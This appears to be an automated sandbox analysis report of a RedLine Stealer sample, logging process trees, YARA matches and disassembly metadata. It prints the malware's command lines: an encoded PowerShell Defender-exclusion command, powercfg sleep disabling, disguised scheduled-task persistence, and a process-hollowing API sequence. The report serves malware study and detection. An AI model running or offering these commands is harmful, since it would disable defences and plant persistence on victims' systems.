2024-09-29 07:44:26 UTC	529	IN	Data Raw: 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 2d 69 70 22 29 2c 63 3d 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 29 3b 62 26 26 22 63 6c 61 73 73 4c 69 73 74 22 69 6e 20 62 26 26 28 62 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 68 69 64 64 65 6e 22 29 2c 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 68 69 64 64 65 6e 22 29 3b 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 68 69 64 64 65 6e 22 29 7d 29 29 7d 76 Data Ascii: etElementById("cf-footer-item-ip"),c=a.getElementById("cf-footer-ip-reveal");b&&"classList"in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}v
2024-09-29 07:44:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:43:56
Start date:	29/09/2024
Path:	C:\Users\user\Desktop\inject.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\inject.exe"
Imagebase:	0x400000
File size:	321'536 bytes
MD5 hash:	A1E894C08C924EEC77CE07E2A8405B86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.2055709662.00000000037F5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:43:56
Start date:	29/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:43:59
Start date:	29/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000003.00000002.2215892910.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:44:14
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\conhost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\conhost.exe"
Imagebase:	0x400000
File size:	3'125'704 bytes
MD5 hash:	CE901A874C9D157E48F83B1BE3D32AA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:44:18
Start date:	29/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff778560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:44:18
Start date:	29/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:44:18
Start date:	29/09/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff6c6e50000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:44:18
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p29586644319935208542739921766 -oextracted
Imagebase:	0x310000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:44:19
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_11.zip -oextracted
Imagebase:	0x310000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:44:19
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_10.zip -oextracted
Imagebase:	0x310000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:44:19
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_9.zip -oextracted
Imagebase:	0x310000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:44:19
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_8.zip -oextracted
Imagebase:	0x310000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:44:20
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0x310000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:44:20
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0x310000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:44:20
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0x310000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:44:20
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0x310000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:44:20
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0x310000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:44:20
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0x310000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:44:20
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0x310000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:44:20
Start date:	29/09/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "Installer.exe"
Imagebase:	0x7ff749420000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:44:20
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\main\Installer.exe
Wow64 process (32bit):	true
Commandline:	"Installer.exe"
Imagebase:	0x300000
File size:	625'464 bytes
MD5 hash:	89A069871324D35E25922F6FB881D514
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000016.00000002.2282337473.000000000045A000.00000004.00000001.01000000.0000000D.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:44:21
Start date:	29/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xda0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:44:22
Start date:	29/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:44:22
Start date:	29/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:44:22
Start date:	29/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A"
Imagebase:	0xf10000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:44:23
Start date:	29/09/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:44:25
Start date:	29/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:44:25
Start date:	29/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk7625" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:44:25
Start date:	29/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:44:25
Start date:	29/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:44:25
Start date:	29/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Imagebase:	0x8e0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	37.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	21.4%
Total number of Nodes:	28
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 027F2139 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,027F20AB,027F209B), ref: 027F22A8
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 027F22BB
Wow64GetThreadContext.KERNEL32(00000088,00000000), ref: 027F22D9
ReadProcessMemory.KERNELBASE(00000098,?,027F20EF,00000004,00000000), ref: 027F22FD
VirtualAllocEx.KERNELBASE(00000098,?,?,00003000,00000040), ref: 027F2328
WriteProcessMemory.KERNELBASE(00000098,00000000,?,?,00000000,?), ref: 027F2380
WriteProcessMemory.KERNELBASE(00000098,00400000,?,?,00000000,?,00000028), ref: 027F23CB
WriteProcessMemory.KERNELBASE(00000098,?,?,00000004,00000000), ref: 027F2409
Wow64SetThreadContext.KERNEL32(00000088,027C0000), ref: 027F2445
ResumeThread.KERNELBASE(00000088), ref: 027F2454

Strings

CreateProcessA, xrefs: 027F21ED
Load, xrefs: 027F2177
GetThreadContext, xrefs: 027F2213
aryA, xrefs: 027F217F
SetThreadContext, xrefs: 027F225F
ress, xrefs: 027F21C3
ReadProcessMemory, xrefs: 027F2226
WriteProcessMemory, xrefs: 027F224C
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 027F22A7
TerminateProcess, xrefs: 027F2337
ResumeThread, xrefs: 027F2275
GetP, xrefs: 027F21BB
VirtualAllocEx, xrefs: 027F2239
VirtualAlloc, xrefs: 027F2200

Memory Dump Source

Source File: 00000000.00000002.2055020311.00000000027F1000.00000040.00000800.00020000.00000000.sdmp, Offset: 027F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27f1000_inject.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 3629bf89f359c2359cab8b2d00c0f645df68379cbbb6c1cbc20758d3dcc9f73a
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 63B1E67664424AAFDB60CF68CC80BDA77A5FF88714F158124EA0CAB342D774FA41CB94

Function 027F2474 Relevance: 3.0, APIs: 2, Instructions: 26
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(00000088,027C0000), ref: 027F2445
ResumeThread.KERNELBASE(00000088), ref: 027F2454

Memory Dump Source

Source File: 00000000.00000002.2055020311.00000000027F1000.00000040.00000800.00020000.00000000.sdmp, Offset: 027F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27f1000_inject.jbxd

Similarity

API ID: Thread$ContextResumeWow64
String ID:
API String ID: 1826235168-0
Opcode ID: fe9982208852559af648ca994f0b27598504c0bbc20a60b0a84108364e5c6592
Instruction ID: 3558000635f5cba232c9a878e3cfcbd7d76c74a61d4d945517e9b0dfa7834452
Opcode Fuzzy Hash: fe9982208852559af648ca994f0b27598504c0bbc20a60b0a84108364e5c6592
Instruction Fuzzy Hash: C6F030721083459BCB70CF59CCC0BC9B3A9FF89320F190011DA4C8B702D774BA118B91

Function 025D1340 Relevance: 1.6, APIs: 1, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 025D1300

Memory Dump Source

Source File: 00000000.00000002.2054942926.00000000025D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_25d0000_inject.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 442714d5a50834f4ff5d70b87106b2381d560e32f79d8eb938c7b448c3c66d74
Instruction ID: cf3005b403c31ea54b04b1136a579b92e3ca2f2e7d84a4c5d92f61c178636fc7
Opcode Fuzzy Hash: 442714d5a50834f4ff5d70b87106b2381d560e32f79d8eb938c7b448c3c66d74
Instruction Fuzzy Hash: 173111B69016488FCF20DFAAD884BDEBBF0BB49314F14811AD909AB251D3789544CBA5

Function 025D1279 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 025D1300

Memory Dump Source

Source File: 00000000.00000002.2054942926.00000000025D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_25d0000_inject.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 10a5bbe5f8f76905aab0136197442fb2e4c2a1eb4f55a174ccf6ae65c18eb2c6
Instruction ID: a6f382e860f749441a2cfe39acacb9663a1ec35a82116433dcf6de36aa1d7337
Opcode Fuzzy Hash: 10a5bbe5f8f76905aab0136197442fb2e4c2a1eb4f55a174ccf6ae65c18eb2c6
Instruction Fuzzy Hash: A72104B59006499FDF10DFAAC881ADEFBF4FF48310F108429E559A7250C774A941CBA5

Function 025D1280 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 025D1300

Memory Dump Source

Source File: 00000000.00000002.2054942926.00000000025D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_25d0000_inject.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2f647a12cb54b4f56878f7e1001cf255c4f8c14ed4d3c0f46ef98aed83742025
Instruction ID: 8649ac2c7757719e21467ea6a2f11f7c35da95e7c0ab5575b1c14e556f445d45
Opcode Fuzzy Hash: 2f647a12cb54b4f56878f7e1001cf255c4f8c14ed4d3c0f46ef98aed83742025
Instruction Fuzzy Hash: D12113B1D006499FCF10DFAAC880AEEFBF4FF48310F10842AE919A7250C774A940CBA1

Analysis Process: RegAsm.exePID: 3724, Parent PID: 2452COMMON

Execution Graph

Execution Coverage:	13.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.2%
Total number of Nodes:	189
Total number of Limit Nodes:	18

Executed Functions

Function 08E7ECA0 Relevance: 6.7, Strings: 5, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 08E7F0B2
Haq, xrefs: 08E7F140
Haq, xrefs: 08E7F050
Haq, xrefs: 08E7F081
Haq, xrefs: 08E7F0F9

Memory Dump Source

Source File: 00000003.00000002.2245123004.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e70000_RegAsm.jbxd

Similarity

API ID:
String ID: Haq$Haq$Haq$Haq$Haq
API String ID: 0-1792267638
Opcode ID: 1f74972e643cea7476b1717934d42dc9baea5e22c04aa01a6b048e4f9e1dd48f
Instruction ID: 6838f50b11c45a41406a39656b70db4ab982564e4ae1144e1e69706938260777
Opcode Fuzzy Hash: 1f74972e643cea7476b1717934d42dc9baea5e22c04aa01a6b048e4f9e1dd48f
Instruction Fuzzy Hash: F602B332A04256CFCB19CF74D4502ADFBF2FF85305F2486AED406AB251DB749A86CB91

Function 08E7B580 Relevance: 4.6, APIs: 1, Strings: 1, Instructions: 1088
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c!, xrefs: 08E7BC42, 08E7BC47

Memory Dump Source

Source File: 00000003.00000002.2245123004.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e70000_RegAsm.jbxd

Similarity

API ID:
String ID: c!
API String ID: 0-3867720870
Opcode ID: 9741898a2a1baed3efa247cdceed872b377e236a6912fdaf47730a4edc3e02cd
Instruction ID: a1c3a07dd6b8db471a425b6db30ad1c307ac7e4f89455b3b527aa57ed47a8464
Opcode Fuzzy Hash: 9741898a2a1baed3efa247cdceed872b377e236a6912fdaf47730a4edc3e02cd
Instruction Fuzzy Hash: 29C2AD74A012298FCB65DF24D998B9DB7B6FB89305F1081EAD90DA7350DB34AE85CF40

Function 08E7CD10 Relevance: 2.9, Strings: 2, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1, xrefs: 08E7D015
., xrefs: 08E7CF90

Memory Dump Source

Source File: 00000003.00000002.2245123004.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e70000_RegAsm.jbxd

Similarity

API ID:
String ID: .$1
API String ID: 0-1839485796
Opcode ID: ec384cedd89f2286bb473c59c8de47117de1fc8fde9f01dd188ef8e33db2a381
Instruction ID: c2dfb3350f5fd727633095707800a2f409f443a9b2a266b4694e4ed611244851
Opcode Fuzzy Hash: ec384cedd89f2286bb473c59c8de47117de1fc8fde9f01dd188ef8e33db2a381
Instruction Fuzzy Hash: A0F1FF74E01229CFDB28DF65C894B9DBBB2FF89305F5081A9D40AA7294DB319E85CF11

Function 06CFE270 Relevance: 2.7, Strings: 2, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH]q, xrefs: 06CFE563
LR]q, xrefs: 06CFE32A

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID: LR]q$PH]q
API String ID: 0-3791814328
Opcode ID: dfe3f1b2bae8d65b981d69471f85ca2160d5d13caa6b3c00c3719fc17374fda4
Instruction ID: 890f69a8f7b308389d2821be35865bfa28857e46f99d9f2e54310f1f0344b7d6
Opcode Fuzzy Hash: dfe3f1b2bae8d65b981d69471f85ca2160d5d13caa6b3c00c3719fc17374fda4
Instruction Fuzzy Hash: 02A1F474E10219CFDB68DFA5C854B9EBBB2FF89300F2084A9D509AB264DB305A85CF51

Function 06CFA280 Relevance: 2.7, Strings: 2, Instructions: 209
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06CFA3F2
$]q, xrefs: 06CFA3E2

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 60081dbcab630ee9eb02a0c93a8f6ef7f8e9ecddbdc2857cb8c72efb60398763
Instruction ID: 913c5219ba677b64c0e5a48661e238bd5cb3cfd519f44ed6a60c77c1526b2e04
Opcode Fuzzy Hash: 60081dbcab630ee9eb02a0c93a8f6ef7f8e9ecddbdc2857cb8c72efb60398763
